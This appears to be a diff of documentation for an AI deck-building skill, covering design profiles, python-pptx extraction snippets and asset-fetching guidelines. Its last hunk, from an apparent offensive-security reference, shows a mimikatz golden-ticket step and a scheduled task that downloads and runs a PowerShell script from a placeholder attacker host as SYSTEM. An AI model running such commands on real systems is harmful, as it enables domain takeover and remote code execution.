+ **Color examples:** `#ffffff`, `#1f2328`, `#F6F8FA`, `#0969da`, `#1a7f37`, `#cf222e`
75
+ **Best for:** GitHub-style decks, developer products, token-driven UI reviews, engineering documentation
76
+
77
+ Use the entries above to:
78
+
79
+ 1. Select the profile ID that best matches the user's audience, topic, and delivery context.
80
+ 2. Lock the palette, typography, and signature element conventions described in the profile's `source_signals`.
81
+ 3. Record the selected profile ID, source URL, and license in `summary.design_context` before building the deck spec.
82
+ 4. Translate the style signals directly into explicit `layout_tree` primitives — colors, fills, rules, card shells, accent bands, and bboxes.
83
+
84
+ ### Fetching Live References from getdesign.md
85
+
86
+ When the user wants a deck that mirrors a specific real brand or product, use the `getdesign-md-design-systems` profile to pull a live analysis:
87
+
88
+ 1. Browse the catalog at `https://getdesign.md/design-md` to find the brand and its `{slug}` (some slugs carry a TLD, e.g. `linear.app`, `mistral.ai`).
89
+ 2. Fetch the entry at `https://getdesign.md/{slug}/design-md` (e.g., `https://getdesign.md/apple/design-md`).
90
+ 3. Read the DESIGN.md sections and map them onto deck decisions:
91
+ - **Colors (01)** → deck palette: `Primary`/`Accent` for emphasis and CTAs, `Ink`/`Muted` for text, `Canvas`/`Canvas Alt` for backgrounds and bands, `Hairline` for rules and dividers.
92
+ - **Typography (02)** → title vs. body type roles, weights, and relative size hierarchy (display tier for slide titles/kickers, body tier for content).
93
+ - **Foundations (06–08)** → spacing rhythm, corner radii for card shells/buttons, and elevation cues for layered cards.
94
+ - **Components (03–05)** + **signature motifs** (intro prose) → card/pill/divider styling and the brand's hallmark accents (e.g., gradient bands).
95
+ 4. Record the entry URL, the "independent analysis / not affiliated" disclaimer, and the extracted tokens in `summary.design_context`, then translate the signals into explicit `layout_tree` primitives.
96
+ 5. Never embed scraped imagery, screenshots, logos, or other proprietary brand assets; use the signals as design guidance only. If the fetch fails or no slug matches, fall back to a bundled profile and flag the fallback in `summary.design_context`.
@@ -0,0 +1,150 @@
1
+ # PPTX Python Snippets
2
+
3
+ It describes how to approach PPTX extraction and style analysis with `python-pptx`, using short illustrative
4
+ snippets — not a packaged module to copy wholesale.
5
+
6
+ - Do not treat these snippets as bundled runtime modules.
7
+ - Do not import from this file or recreate `.py` files under this skill as packaged resources.
8
+ - When a task needs extraction or style analysis, write task-local code with `python-pptx`, using these patterns as reference.
9
+
10
+ ## Shared constants
11
+
12
+ Most helpers depend on two values: the EMU-per-inch conversion factor and the
13
+ DrawingML namespace used when reading raw OOXML.
14
+
15
+ ```python
16
+ EMU_PER_INCH = 914400
17
+ DRAWING_NS = "{http://schemas.openxmlformats.org/drawingml/2006/main}"
18
+
19
+
20
+ def _inches(value: int) -> float:
21
+ return round(int(value or 0) / EMU_PER_INCH, 4)
22
+ ```
23
+
24
+ ## Style master: compact design context
25
+
26
+ **Goal:** summarize a reference deck into a compact "style master" (colors,
27
+ fonts, font sizes, shape styles, layout/region usage) suitable for prompting a
28
+ generator. Counters drive a `most_common` ranking; results are truncated by
29
+ `max_items`.
30
+
31
+ ### Approach
32
+
33
+ 1. Open with `Presentation(path)`; read slide size in inches.
34
+ 2. Pull theme tokens (colors/fonts) directly from `ppt/theme/theme1.xml` via `zipfile`.
35
+ 3. Walk each slide's shapes (recursing into groups), tallying tokens into `Counter`s.
36
+ 4. Emit `styles`, `brands`, `template`, and `layout` sections from the top-N tallies.
37
+
38
+ ### Illustrative snippet
39
+
40
+ ```python
41
+ from collections import Counter
42
+
43
+ def analyze(presentation) -> dict:
44
+ colors: Counter[str] = Counter()
45
+ fonts: Counter[str] = Counter()
46
+ for slide in presentation.slides:
47
+ for shape in _iter_shapes(slide.shapes):
48
+ colors.update(_shape_colors(shape).values())
49
+ fonts.update(_text_styles(shape)["fonts"])
50
+ return {
51
+ "colors": [{"value": v, "count": c} for v, c in colors.most_common(10)],
52
+ "fonts": [{"value": v, "count": c} for v, c in fonts.most_common(10)],
53
+ }
54
+ ```
55
+
56
+ ### Key helper patterns
57
+
58
+ - **Recursive shape walk** — yield each shape, then recurse when it exposes `.shapes`:
59
+
60
+ ```python
61
+ def _iter_shapes(shapes):
62
+ for shape in shapes:
63
+ yield shape
64
+ if hasattr(shape, "shapes"):
65
+ yield from _iter_shapes(shape.shapes)
66
+ ```
67
+
68
+ - **Color normalization** — read `color.rgb`, fall back to `theme_color`, and
69
+ normalize to `#RRGGBB` or `theme:<token>`.
70
+ - **Region/flow classification** — bucket each shape's bbox center into
71
+ `top/middle/bottom` × `left/center/right`, and infer `row` / `column` / `grid`
72
+ from the spread of centers.
73
+ - **Neutral filtering** — treat colors with low channel spread (`max-min <= 18`)
74
+ as neutrals so brand accents rank above grays.
75
+
76
+ ## Extractor: structured deck capture
77
+
78
+ **Goal:** turn a deck into a structured tree of slides → groups → objects, with
79
+ optional media extraction and a parallel list of raw OOXML render elements.
80
+
81
+ ### Approach
82
+
83
+ 1. For each slide, build a root group bbox covering the full slide.
84
+ 2. Walk shapes recursively; groups become nested groups, leaf shapes become objects.
85
+ 3. Classify each object by `kind` (`text`, `table`, `image`, `chart`, `connector`, …)
86
+ and capture kind-specific `content` plus `style`.
87
+ 4. Optionally write media to an asset dir, or base64-embed when no dir is given.
88
+ 5. Read speaker notes by resolving slide `_rels` to their `notesSlide` parts.
89
+
90
+ ### Illustrative snippet
91
+
92
+ ```python
93
+ def _bbox(shape) -> dict:
94
+ return {
95
+ "x": _inches(getattr(shape, "left", 0)),
96
+ "y": _inches(getattr(shape, "top", 0)),
97
+ "width": _inches(getattr(shape, "width", 0)),
98
+ "height": _inches(getattr(shape, "height", 0)),
99
+ }
100
+
101
+ def _kind(shape, shape_type: str) -> str:
102
+ if getattr(shape, "has_table", False):
103
+ return "table"
104
+ if getattr(shape, "has_chart", False):
105
+ return "chart"
106
+ if "picture" in shape_type or getattr(shape, "image", None):
107
+ return "image"
108
+ if getattr(shape, "has_text_frame", False) and shape.text.strip():
109
+ return "text"
110
+ return "shape"
111
+ ```
112
+
113
+ ### Kind-specific content notes
114
+
115
+ - **text** — capture `text` plus rich paragraphs (runs with font size, bold,
116
+ italic, color, hyperlink, paragraph alignment/level).
117
+ - **table** — emit `rows`, plus row/col counts, widths/heights, banding flags,
118
+ and merged-cell origins (`span_rows` / `span_cols`).
119
+ - **image** — record alt text, crop fractions, and either a written asset path
120
+ or base64 blob; flag `missing_embedded_image` when the blob is absent.
121
+ - **chart** — record `chart_type`, optional title, categories, and series values.
122
+ - **line / connector** — derive endpoints from the bbox plus flip flags, and read
123
+ arrow head/tail types from the `<a:ln>` element.
124
+
125
+ ### Media & notes helpers
126
+
127
+ - **Embedded relationship ids** — iterate the shape element and collect attributes
128
+ ending in `}embed`, then resolve via `shape.part.related_part(rid)`.
129
+ - **Package media counts** — open the `.pptx` with `zipfile` and count names under
130
+ `ppt/media/` and `ppt/embeddings/`.
131
+ - **Notes** — parse each `ppt/slides/_rels/slideN.xml.rels`, follow the
132
+ `notesSlide` relationship, and join `<a:t>` text nodes.
133
+
134
+ ## Safe attribute access
135
+
136
+ `python-pptx` raises on many optional properties (fills, colors, line styles).
137
+ Wrap reads in a small guard so extraction degrades gracefully:
138
+
139
+ ```python
140
+ def _safe_attr(value, name):
141
+ if value is None:
142
+ return None
143
+ try:
144
+ return getattr(value, name)
145
+ except (AttributeError, TypeError, ValueError):
146
+ return None
147
+ ```
148
+
149
+ Apply the same defensive pattern around `fill.type`, `line.width`, `color.rgb`,
150
+ `shape.image`, and chart/table accessors, since any of them can fail on real-world decks.
@@ -0,0 +1,91 @@
1
+ # PPTX Reference Deck Analysis Recipes
2
+
3
+ This file is static guidance for inspecting existing `.pptx` files and defining expected analysis outputs.
4
+
5
+ ## Scope
6
+
7
+ - Keep only static guidance for reference-deck prompt context, extraction, folder analysis, and style-master inspection.
8
+ - Do not place runtime scripts, model assets, importable Python modules, or generated artifacts here.
9
+ - This skill ships no importable code; implement the extraction/style-analysis contract on demand with `python-pptx`.
10
+ - `python-snippets.md` holds documentation-only `python-pptx` guidance — approach notes plus short illustrative snippets. Do not import from it or recreate packaged `.py` resources from it.
11
+
12
+ ## Analysis Recipes
13
+
14
+ ### 1. Prompt Context Recipe
15
+
16
+ Build compact LLM-ready context from a reference deck.
17
+
18
+ Expected result:
19
+
20
+ - `slide_count`, `slide_size`
21
+ - `styles`, `brands`, `template`, `layout`
22
+ - Per-slide title/text snippets and shape counts
23
+
24
+ ### 2. Full Extraction Recipe
25
+
26
+ Produce a full JSON extraction including:
27
+
28
+ - `summary` complexity metrics
29
+ - `slides[*].layout_tree` with groups/objects
30
+ - `ooxml_elements` for render-aware inspection
31
+
32
+ ### 3. Folder Batch Recipe
33
+
34
+ Process a folder of decks to produce:
35
+
36
+ - One `.pptx-spec.json` file per deck
37
+ - A `manifest.json` to track outputs
38
+
39
+ ### 4. Style Master Recipe
40
+
41
+ Run style-only analysis when you need design lock signals:
42
+
43
+ - Palette and accent colors
44
+ - Typography and font-size distribution
45
+ - Master/layout usage and flow patterns
46
+
47
+ ### 5. Reference Template Catalog Recipe
48
+
49
+ When a reference deck should inform a new deck's layout rhythm, produce a
50
+ human-readable catalog from the existing prompt-context, extraction, and
51
+ style-master outputs. This is a view over the same analysis, not a separate
52
+ extraction workflow.
53
+
54
+ - List every source slide by **zero-based** index.
55
+ - Record `layout_role`, a short visual description, usable regions,
56
+ placeholder roles, visual structures, and content-fit constraints.
57
+ - Use the catalog to select layout inspiration for the new outline. Re-author
58
+ every target slide with an independent coordinate-explicit `layout_tree`.
59
+ - Do not clone, rearrange, replace text in, or otherwise mutate the source deck.
60
+ - Do not inherit source content, fonts, images, or proprietary assets without
61
+ explicit permission and licensing evidence.
62
+
63
+ Suggested catalog shape:
64
+
65
+ ```json
66
+ {
67
+ "source_deck": "reference.pptx",
68
+ "slide_count": 12,
69
+ "slides": [
70
+ {
71
+ "source_index": 0,
72
+ "layout_role": "cover",
73
+ "description": "Dark cover with title and subtitle regions",
74
+ "regions": ["title", "subtitle", "supporting visual"],
75
+ "placeholder_roles": ["ctrTitle", "subTitle"],
76
+ "visual_structures": ["full-bleed color field", "corner motif"],
77
+ "reuse_constraints": ["best for one title and one short subtitle"]
78
+ }
79
+ ]
80
+ }
81
+ ```
82
+
83
+ ## Related Responsibilities
84
+
85
+ This reference covers PPTX prompt context, extraction, folder batch analysis,
86
+ style-master inspection, and the derived reference-template catalog only.
87
+
88
+ - Use the parent `pptx-deck-creation` workflow for narrative/source preparation,
89
+ together with [design profiles](design-profiles.md) for profile selection.
90
+ - Use [visual asset guidelines](visual-asset-adapters.md) for acquiring and
91
+ placing icons, images, SVGs, and infographics.
@@ -0,0 +1,158 @@
1
+ # Visual Asset Guidelines
2
+
3
+ This skill cannot bundle helper scripts, so these guidelines show how to **perform each visual-asset
4
+ ability inline** using public APIs and short, self-contained snippets you run at request time
5
+ (scratch cell or terminal).
6
+
7
+ How to use a guideline:
8
+
9
+ 1. Pick the ability you need below.
10
+ 2. Run the inline snippet (adjust inputs) in an ephemeral scratch file or terminal — do not save it
11
+ into the skill, since the skill keeps only `references/`.
12
+ 3. Place the returned local asset path into `layout_tree.objects` with `content.path`, `content.alt`,
13
+ `bbox`, `z_index`, and `classification`.
14
+
15
+ Shared rules:
16
+
17
+ - Always return a **local file path** for any placed asset, plus `content.alt`.
18
+ - Record provenance (`source`, `license`, `provider`, `model`) for audits.
19
+ - On failure, write a failure manifest; never substitute a placeholder and call it generated.
20
+ - Never request secrets in chat or a prompt dialog. For cloud auth use `.env` or `az login`.
21
+ - Before a billable generation call or any request that sends user-provided or
22
+ source material to a third party, disclose the provider/model, the material
23
+ that will leave the machine, likely cost, and output path. Obtain explicit
24
+ confirmation unless the user already authorized that exact operation.
25
+
26
+ ---
27
+
28
+ ## 1. Icon Search
29
+
30
+ Use the public Iconify API — no key required.
31
+
32
+ - Search: `https://api.iconify.design/search?query=<q>&limit=<n>`
33
+ - Download SVG: `https://api.iconify.design/<prefix>/<name>.svg?color=%23<hex>`
34
+
35
+ ```python
36
+ import json, urllib.parse, urllib.request
37
+ from pathlib import Path
38
+
39
+ def icon_search(query, limit=8, prefix=None, color=None, out_dir="assets/icons"):
40
+ q = urllib.parse.quote(query)
41
+ url = f"https://api.iconify.design/search?query={q}&limit={limit}"
42
+ if prefix:
43
+ url += f"&prefix={urllib.parse.quote(prefix)}"
44
+ data = json.load(urllib.request.urlopen(url, timeout=15))
45
+ Path(out_dir).mkdir(parents=True, exist_ok=True)
46
+ results = []
47
+ for icon_id in data.get("icons", []):
48
+ pfx, name = icon_id.split(":", 1)
49
+ svg_url = f"https://api.iconify.design/{pfx}/{name}.svg"
50
+ if color:
51
+ svg_url += f"?color=%23{color}"
52
+ svg_path = Path(out_dir) / f"{pfx}_{name}.svg"
53
+ svg_path.write_bytes(urllib.request.urlopen(svg_url, timeout=15).read())
54
+ results.append({"id": icon_id, "svg_path": str(svg_path), "license": "per-set (see iconify.design)"})
55
+ return {"query": query, "results": results}
56
+ ```
57
+
58
+ - Prefer simple, single-color icons matching the theme accent.
59
+ - Use icons as supporting cues, not replacements for required text.
60
+
61
+ ---
62
+
63
+ ## 2. Web Image Search
64
+
65
+ Prefer the browsing or image-search capability available in the current client.
66
+ When you already have a direct image URL (from search results or the user), download it locally:
67
+
68
+ ```python
69
+ import urllib.request
70
+ from pathlib import Path
71
+
72
+ def download_image(url, out_path="assets/images/img1.jpg"):
73
+ Path(out_path).parent.mkdir(parents=True, exist_ok=True)
74
+ req = urllib.request.Request(url, headers={"User-Agent": "pptx-builder/1.0"})
75
+ Path(out_path).write_bytes(urllib.request.urlopen(req, timeout=20).read())
76
+ return {"url": url, "local_path": out_path}
77
+ ```
78
+
79
+ - Capture `source` and `license` for attribution; verify usage rights before placing.
80
+ - Reference the saved file via `content.path`; do not hotlink remote URLs into the deck.
81
+ - Do not use image placeholders as fallback assets; select an approved asset or omit the object.
82
+
83
+ ---
84
+
85
+ ## 3. Vector Asset Decision
86
+
87
+ Use a true SVG only when it is already a clean vector asset or when the source
88
+ contains no essential text or data that needs editing. Do not wrap a raster in
89
+ an SVG and treat the result as editable.
90
+
91
+ - Do not trace a raster merely to satisfy an editability requirement.
92
+ - If an illustration contains essential text, recreate the text with native
93
+ PowerPoint objects.
94
+ - Keep the original raster or a non-compliant SVG only as a supporting visual or
95
+ hidden reference.
96
+
97
+ ---
98
+
99
+ ## 4. Text → Infographic
100
+
101
+ Generate through a user-managed provider (OpenAI or Azure OpenAI). Read credentials from environment;
102
+ never accept secrets via chat.
103
+
104
+ Before running the snippet, obtain the external-call confirmation described in
105
+ the shared rules. If `output_path` already exists, choose a new path or obtain
106
+ separate overwrite confirmation; do not silently replace it.
107
+
108
+ ```python
109
+ import base64, json, os
110
+ from pathlib import Path
111
+ from openai import OpenAI, AzureOpenAI # provided by the user's environment
112
+
113
+ def text_to_infographic(prompt, output_path, provider="openai",
114
+ model_or_deployment="gpt-image-1", size="1024x1024"):
115
+ output = Path(output_path)
116
+ manifest_path = output.with_suffix(".manifest.json")
117
+ existing = [path for path in (output, manifest_path) if path.exists()]
118
+ if existing:
119
+ raise FileExistsError(f"Refusing to overwrite existing paths: {existing}")
120
+ manifest_path.parent.mkdir(parents=True, exist_ok=True)
121
+ manifest = {"provider": provider, "model_or_deployment": model_or_deployment,
122
+ "output_path": output_path}
123
+ try:
124
+ if provider == "azure-openai":
125
+ client = AzureOpenAI(
126
+ azure_endpoint=os.environ["AZURE_OPENAI_ENDPOINT"],
127
+ api_key=os.environ.get("AZURE_OPENAI_API_KEY"),
128
+ api_version=os.environ.get("AZURE_OPENAI_API_VERSION", "2024-02-01"),
129
+ )
130
+ else:
131
+ client = OpenAI(api_key=os.environ["OPENAI_API_KEY"])
132
+ result = client.images.generate(model=model_or_deployment, prompt=prompt, size=size)
133
+ output.parent.mkdir(parents=True, exist_ok=True)
134
+ output.write_bytes(base64.b64decode(result.data[0].b64_json))
135
+ manifest["status"] = "ok"
136
+ except Exception as exc: # report, never fake-generate
137
+ manifest.update(status="error", error=str(exc))
138
+ manifest_path.write_text(json.dumps(manifest, indent=2))
139
+ return manifest
140
+ ```
141
+
142
+ - Ask the user for any missing non-secret values: provider, prompt,
143
+ model/deployment, size, and output path.
144
+ - Use `.env` or `az login` for auth; never ask for keys/tokens in chat or the dialog.
145
+ - Use generated art as a supporting visual. Recreate essential text, labels,
146
+ metrics, and steps with native PowerPoint objects. Add a vector asset only
147
+ when it is a clean, editable source.
148
+
149
+ ---
150
+
151
+ ## 5. NotebookLM Infographic Bridge
152
+
153
+ NotebookLM has no public generation API, so treat this as an optional, user-configured bridge.
154
+
155
+ - If the user has a NotebookLM/MCP bridge tool configured, call it with `source_refs` + `prompt`,
156
+ then save the returned image locally and record provenance.
157
+ - If no bridge is configured, **fall back to Text → Infographic (section 4)** or omit the asset.
158
+ - Apply the same provenance and failure-manifest rules as the other generation guidelines.
@@ -209,7 +209,7 @@ mimikatz# kerberos::golden /user:Administrator /rc4:<HASH> `
209
209
 
210
210
  # 3. Create scheduled task
211
211
  schtasks /create /S DOMAIN /SC Weekly /RU "NT Authority\SYSTEM" `
212
- /TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'"
212
+ /TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'" # security-allowlist: offensive scheduled-task detection example
213
213
  schtasks /run /s DOMAIN /TN "enterprise"
214
214
  ```
215
215